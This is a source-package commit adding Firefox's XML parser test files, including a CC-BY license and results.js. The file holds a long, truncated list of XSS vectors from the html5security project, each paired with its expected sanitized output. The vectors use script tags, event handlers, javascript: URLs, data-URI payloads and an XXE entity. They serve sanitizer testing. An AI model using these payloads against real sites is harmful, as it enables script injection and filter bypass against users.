Adding upstream version 115.7.0esr.upstream/115.7.0esrupstream

Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>

7 files changed, 1185 insertions, 0 deletions

diff --git a/parser/xml/moz.build b/parser/xml/moz.build
new file mode 100644
index 0000000000..2612106e3a
--- /dev/null
+++ b/parser/xml/moz.build
@@ -0,0 +1,10 @@
+# -*- Mode: python; indent-tabs-mode: nil; tab-width: 40 -*-
+# vim: set filetype=python:
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+with Files("**"):
+    BUG_COMPONENT = ("Core", "DOM: HTML Parser")
+
+TEST_DIRS += ["test"]
diff --git a/parser/xml/test/moz.build b/parser/xml/test/moz.build
new file mode 100644
index 0000000000..96dbb88c3d
--- /dev/null
+++ b/parser/xml/test/moz.build
@@ -0,0 +1,8 @@
+# -*- Mode: python; indent-tabs-mode: nil; tab-width: 40 -*-
+# vim: set filetype=python:
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+# Note: set the test module's name to test_<yourmodule>
+XPCSHELL_TESTS_MANIFESTS += ["unit/xpcshell.ini"]
diff --git a/parser/xml/test/unit/CC-BY-LICENSE b/parser/xml/test/unit/CC-BY-LICENSE
new file mode 100644
index 0000000000..d0ce194dc0
--- /dev/null
+++ b/parser/xml/test/unit/CC-BY-LICENSE
@@ -0,0 +1,59 @@
+Creative Commons Attribution 3.0 Unported License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
+
+BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+1. Definitions
+
+    "Adaptation" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered an Adaptation for the purpose of this License.
+    "Collection" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.
+    "Distribute" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.
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+2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.
+
+3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
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+
+The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+    You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.
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+
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+
+8. Miscellaneous
+
+    Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+    Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
+    If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+    No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
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diff --git a/parser/xml/test/unit/results.js b/parser/xml/test/unit/results.js
new file mode 100644
index 0000000000..d5b638275e
--- /dev/null
+++ b/parser/xml/test/unit/results.js
@@ -0,0 +1,924 @@
+// vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
+
+var vectors = [
+  {
+    data: '<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi',
+    sanitized:
+      "<html><head></head><body>&amp;ADz&amp;AGn&amp;AG0&amp;AEf&amp;ACA&amp;AHM&amp;AHI&amp;AGO&amp;AD0&amp;AGn&amp;ACA&amp;AG8Abg&amp;AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&amp;ACAAPABi</body></html>",
+  },
+  {
+    data: '<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>',
+    sanitized:
+      "<html><head></head><body>&amp;alert&amp;A7&amp;(1)&amp;R&amp;UA;&amp;&amp;&lt;&amp;A9&amp;11/script&amp;X&amp;&gt;</body></html>",
+  },
+  {
+    data: "0?<script>Worker(\"#\").onmessage=message=>eval(message.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))",
+    sanitized:
+      "<html><head></head><body>0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))</body></html>",
+  },
+  {
+    data: "<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<input onfocus=write(1) autofocus>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<input onblur=write(1) autofocus><input autofocus>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<a style=\"-o-link:'javascript:alert(1)';-o-link-source:current\">X</a>",
+    sanitized: "<html><head></head><body><a>X</a></body></html>",
+  },
+  {
+    data: "<video poster=javascript:alert(1)//></video>",
+    sanitized:
+      '<html><head></head><body><video controls="controls"></video></body></html>',
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>",
+    sanitized:
+      "<html><head></head><body><br><br><br><br><br><br>...<br><br><br><br></body></html>",
+  },
+  {
+    data: '<x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>',
+    sanitized: "<html><head></head><body>01</body></html>",
+  },
+  {
+    data: "<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<script>({0:#0=alert/#0#/#0#(0)})</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >",
+    sanitized: "<html><head></head><body>X</body></html>",
+  },
+  {
+    data: '<?xml-stylesheet href="javascript:alert(1)"?><root/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<script xmlns="http://www.w3.org/1999/xhtml">&#x61;l&#x65;rt&#40;1)</script>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<meta charset="x-mac-farsi">�script �alert(1)//�/script �',
+    sanitized:
+      "<html><head></head><body>�script �alert(1)//�/script �</body></html>",
+  },
+  {
+    data: "<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<input onblur=focus() autofocus><input>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;`>",
+    sanitized: "<html><head></head><body>1</body></html>",
+  },
+  {
+    data: '<script src="#">{alert(1)}</script>;1',
+    sanitized: "<html><head></head><body>;1</body></html>",
+  },
+  {
+    data: "+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);",
+    sanitized:
+      "<html><head></head><body>+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);</body></html>",
+  },
+  {
+    data: "<style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)  attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(1)&gt;>",
+    sanitized: "<html><head></head><body>1</body></html>",
+  },
+  {
+    data: "<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<style>@import "data:,*%7bx:expression(write(1))%7D";</style>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<frameset onload=alert(1)>",
+    sanitized: "<html><head></head></html>",
+  },
+  {
+    data: '<table background="javascript:alert(1)"></table>',
+    sanitized: "<html><head></head><body><table></table></body></html>",
+  },
+  {
+    data: '<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>',
+    sanitized:
+      "<html><head></head><body><a></a><a>XXX</a><a>XXX</a></body></html>",
+  },
+  {
+    data: "1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>",
+    sanitized: "<html><head></head><body>1</body></html>",
+  },
+  {
+    data: "1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>",
+    sanitized: '<html><head></head><body>1<a href="#"></a></body></html>',
+  },
+  {
+    data: '<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a>',
+    sanitized: "<html><head></head><body><a>XXX</a></body></html>",
+  },
+  {
+    data: '<!--<img src="--><img src=x onerror=alert(1)//">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<comment><img src="</comment><img src=x onerror=alert(1)//">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<!-- up to Opera 11.52, FF 3.6.28 -->\r\n<![><img src="]><img src=x onerror=alert(1)//">\r\n\r\n<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+  -->\r\n<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>',
+    sanitized:
+      '<html><head></head><body><img>\n\n\n&gt;&lt;image xlink:href="<img></body></html>',
+  },
+  {
+    data: '<style><img src="</style><img src=x onerror=alert(1)//">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<li style=list-style:url() onerror=alert(1)></li>\n<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>",
+    sanitized: "<html><head></head><body><li></li>\n<div></div></body></html>",
+  },
+  {
+    data: '<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>',
+    sanitized: "<html><head></head><body><a>XXX</a></body></html>",
+  },
+  {
+    data: '<?xml version="1.0" standalone="no"?>\r\n<html xmlns="http://www.w3.org/1999/xhtml">\r\n<head>\r\n<style type="text/css">\r\n@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}\r\n</style>\r\n</head>\r\n<body>Hello</body>\r\n</html>',
+    sanitized: "<html><head>\n\n</head>\n<body>Hello\n</body></html>",
+  },
+  {
+    data: "<style>*[{}@import'test.css?]{color: green;}</style>X",
+    sanitized: "<html><head></head><body>X</body></html>",
+  },
+  {
+    data: "<div style=\"font-family:'foo[a];color:red;';\">XXX</div>",
+    sanitized: "<html><head></head><body><div>XXX</div></body></html>",
+  },
+  {
+    data: '<div style="font-family:foo}color=red;">XXX</div>',
+    sanitized: "<html><head></head><body><div>XXX</div></body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x style="behavior:url(test.sct)">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<xml id="xss" src="test.htc"></xml>\r\n<label dataformatas="html" datasrc="#xss" datafld="payload"></label>',
+    sanitized: "<html><head></head><body>\n<label></label></body></html>",
+  },
+  {
+    data: "<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<video><source onerror="alert(1)">',
+    sanitized:
+      '<html><head></head><body><video controls="controls"><source></video></body></html>',
+  },
+  {
+    data: '<video onerror="alert(1)"><source></source></video>',
+    sanitized:
+      '<html><head></head><body><video controls="controls"><source></video></body></html>',
+  },
+  {
+    data: "<b <script>alert(1)//</script>0</script></b>",
+    sanitized: "<html><head></head><body><b>alert(1)//0</b></body></html>",
+  },
+  {
+    data: "<b><script<b></b><alert(1)</script </b></b>",
+    sanitized: "<html><head></head><body><b></b></body></html>",
+  },
+  {
+    data: '<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>',
+    sanitized:
+      '<html><head></head><body><div id="div1"></div> <div id="div2"></div></body></html>',
+  },
+  {
+    data: '<div style="[a]color[b]:[c]red">XXX</div>',
+    sanitized: "<html><head></head><body><div>XXX</div></body></html>",
+  },
+  {
+    data: '<div  style="\\63&#9\\06f&#10\\0006c&#12\\00006F&#13\\R:\\000072 Ed;color\\0\\bla:yellow\\0\\bla;col\\0\\00 \\&#xA0or:blue;">XXX</div>',
+    sanitized: "<html><head></head><body><div>XXX</div></body></html>",
+  },
+  {
+    data: "<!-- IE 6-8 -->\r\n<x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n\r\n<!-- IE 6-9 -->\r\n<! '=\"foo\"><x foo='><img src=x onerror=alert(2)//'>\r\n<? '=\"foo\"><x foo='><img src=x onerror=alert(3)//'>",
+    sanitized: "<html><head></head><body>\n\n\n\n</body></html>",
+  },
+  {
+    data: '<embed src="javascript:alert(1)"></embed> // O10.10�, OM10.0�, GC6�, FF\r\n<img src="javascript:alert(2)">\r\n<image src="javascript:alert(2)"> // IE6, O10.10�, OM10.0�\r\n<script src="javascript:alert(3)"></script> // IE6, O11.01�, OM10.1�',
+    sanitized:
+      "<html><head></head><body> // O10.10�, OM10.0�, GC6�, FF\n<img>\n<img> // IE6, O10.10�, OM10.0�\n // IE6, O11.01�, OM10.1�</body></html>",
+  },
+  {
+    data: '<!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>',
+    sanitized:
+      "<!DOCTYPE x[<!entity>\n<html><head></head><body>]&gt;&amp;x;</body></html>",
+  },
+  {
+    data: '<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<?xml version=\"1.0\"?>\n<?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\n<root/>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<!DOCTYPE x [\r\n\t<!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x"\r\n onerror CDATA "alert(1)"\r\n onload CDATA "alert(2)">\r\n]><img />',
+    sanitized:
+      "<!DOCTYPE x>\n<html><head></head><body>]&gt;<img></body></html>",
+  },
+  {
+    data: '<doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml">\r\n\t<html:style /><x xlink:href="javascript:alert(1)" xlink:type="simple">XXX</x>\r\n</doc>',
+    sanitized: "<html><head></head><body>\n\tXXX\n</body></html>",
+  },
+  {
+    data: '<card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(1)"/></onevent><timer value="1"/></card>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>",
+    sanitized: "<html><head></head><body><div>x</div></body></html>",
+  },
+  {
+    data: "<// style=x:expression\\28write(1)\\29>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<form><button formaction="javascript:alert(1)">X</button>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<event-source src="event.php" onload="alert(1)">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<a href="javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>',
+    sanitized: "<html><head></head><body><a></a></body></html>",
+  },
+  {
+    data: "<script<{alert(1)}/></script </>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>',
+    sanitized:
+      '<!DOCTYPE x SYSTEM "test.dtd">\n<html><head></head><body>&amp;x;</body></html>',
+  },
+  {
+    data: '<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<object allowscriptaccess="always" data="test.swf"></object>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<style>*{x:EXPRESSION(write(1))}</style>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(1)" xlink:type="simple"/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x:template xmlns:x="http://www.wapforum.org/2001/wml"  x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)"><x:timer value="1"/></x:template>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(1)//#x"/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<body oninput=alert(1)><input autofocus>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\n<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="1000" height="1000" fill="white"/></a>\n</svg>',
+    sanitized: "<html><head></head><body>\n\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n\n<animation xlink:href="javascript:alert(1)"/>\n<animation xlink:href="data:text/xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' onload=\'alert(1)\'%3E%3C/svg%3E"/>\n\n<image xlink:href="data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' onload=\'alert(1)\'%3E%3C/svg%3E"/>\n\n<foreignObject xlink:href="javascript:alert(1)"/>\n<foreignObject xlink:href="data:text/xml,%3Cscript xmlns=\'http://www.w3.org/1999/xhtml\'%3Ealert(1)%3C/script%3E"/>\n\n</svg>',
+    sanitized: "<html><head></head><body>\n\n\n\n\n\n\n\n\n\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\n<set attributeName="onmouseover" to="alert(1)"/>\n<animate attributeName="onunload" to="alert(1)"/>\n</svg>',
+    sanitized: "<html><head></head><body>\n\n\n</body></html>",
+  },
+  {
+    data: '<!-- Up to Opera 10.63 -->\r\n<div style=content:url(test2.svg)></div>\r\n\r\n<!-- Up to Opera 11.64 - see link below -->\r\n\r\n<!-- Up to Opera 12.x -->\r\n<div style="background:url(test5.svg)">PRESS ENTER</div>',
+    sanitized:
+      "<html><head></head><body><div></div>\n\n\n\n\n<div>PRESS ENTER</div></body></html>",
+  },
+  {
+    data: '[A]\n<? foo="><script>alert(1)</script>">\n<! foo="><script>alert(1)</script>">\n</ foo="><script>alert(1)</script>">\n[B]\n<? foo="><x foo=\'?><script>alert(1)</script>\'>">\n[C]\n<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">\n[D]\n<% foo><x foo="%><script>alert(1)</script>">',
+    sanitized:
+      '<html><head></head><body>[A]\n"&gt;\n"&gt;\n"&gt;\n[B]\n"&gt;\n[C]\n\n[D]\n&lt;% foo&gt;</body></html>',
+  },
+  {
+    data: '<div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>',
+    sanitized: "<html><head></head><body><div>X</div></body></html>",
+  },
+  {
+    data: '<div style="list-style:url(http://foo.f)\\20url(javascript:alert(1));">X</div>',
+    sanitized: "<html><head></head><body><div>X</div></body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\n<handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(1)</handler>\n</svg>',
+    sanitized: "<html><head></head><body>\nalert(1)\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">\n<feImage>\n<set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,\nPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>\n</feImage>\n</svg>',
+    sanitized: "<html><head></head><body>\n\n\n\n</body></html>",
+  },
+  {
+    data: "<iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>\n<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>",
+    sanitized: "<html><head></head><body>\n</body></html>",
+  },
+  {
+    data: "<!-- IE 5-9 -->\r\n<div id=d><x xmlns=\"><iframe onload=alert(1)\"></div>\n<script>d.innerHTML+='';</script>\r\n\r\n<!-- IE 10 in IE5-9 Standards mode -->\r\n<div id=d><x xmlns='\"><iframe onload=alert(2)//'></div>\n<script>d.innerHTML+='';</script>",
+    sanitized:
+      '<html><head></head><body><div id="d"></div>\n\n\n\n<div id="d"></div>\n</body></html>',
+  },
+  {
+    data: '<div id=d><div style="font-family:\'sans\\27\\2F\\2A\\22\\2A\\2F\\3B color\\3Ared\\3B\'">X</div></div>\n<script>with(document.getElementById("d"))innerHTML=innerHTML</script>',
+    sanitized:
+      '<html><head></head><body><div id="d"><div>X</div></div>\n</body></html>',
+  },
+  {
+    data: "XXX<style>\r\n\r\n*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */\r\n\r\n<!--\r\n--><!--*{color:red}   /* all UA */\r\n\r\n*{background:url(xx:x //**/\\red/*)} /* IE 6-7 Standards mode */\r\n\r\n</style>",
+    sanitized: "<html><head></head><body>XXX</body></html>",
+  },
+  {
+    data: '<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<a href="[a]java[b]script[c]:alert(1)">XXX</a>',
+    sanitized: "<html><head></head><body><a>XXX</a></body></html>",
+  },
+  {
+    data: '<img src="x` `<script>alert(1)</script>"` `>',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<script>history.pushState(0,0,'/i/am/somewhere_else');</script>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg" id="foo">\r\n<x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(1) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/>\r\n</svg>',
+    sanitized: "<html><head></head><body>\n\n</body></html>",
+  },
+  {
+    data: '<iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<img src onerror /" \'"= alt=alert(1)//">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<title onpropertychange=alert(1)></title><title title=></title>",
+    sanitized:
+      '<html><head><title></title><title title=""></title></head><body></body></html>',
+  },
+  {
+    data: '<!-- IE 5-8 standards mode -->\r\n<a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(1)></a>">\r\n\r\n<!-- IE 5-9 standards mode -->\r\n<!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//">\r\n<?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">',
+    sanitized:
+      '<html><head></head><body><a href="http://foo.bar/#x=`y"></a><img alt="`&gt;&lt;img src=xx:x onerror=alert(1)&gt;&lt;/a&gt;">\n\n\n<img alt="`&gt;&lt;img src=xx:x onerror=alert(2)//">\n<img alt="`&gt;&lt;img src=xx:x onerror=alert(3)//"></body></html>',
+  },
+  {
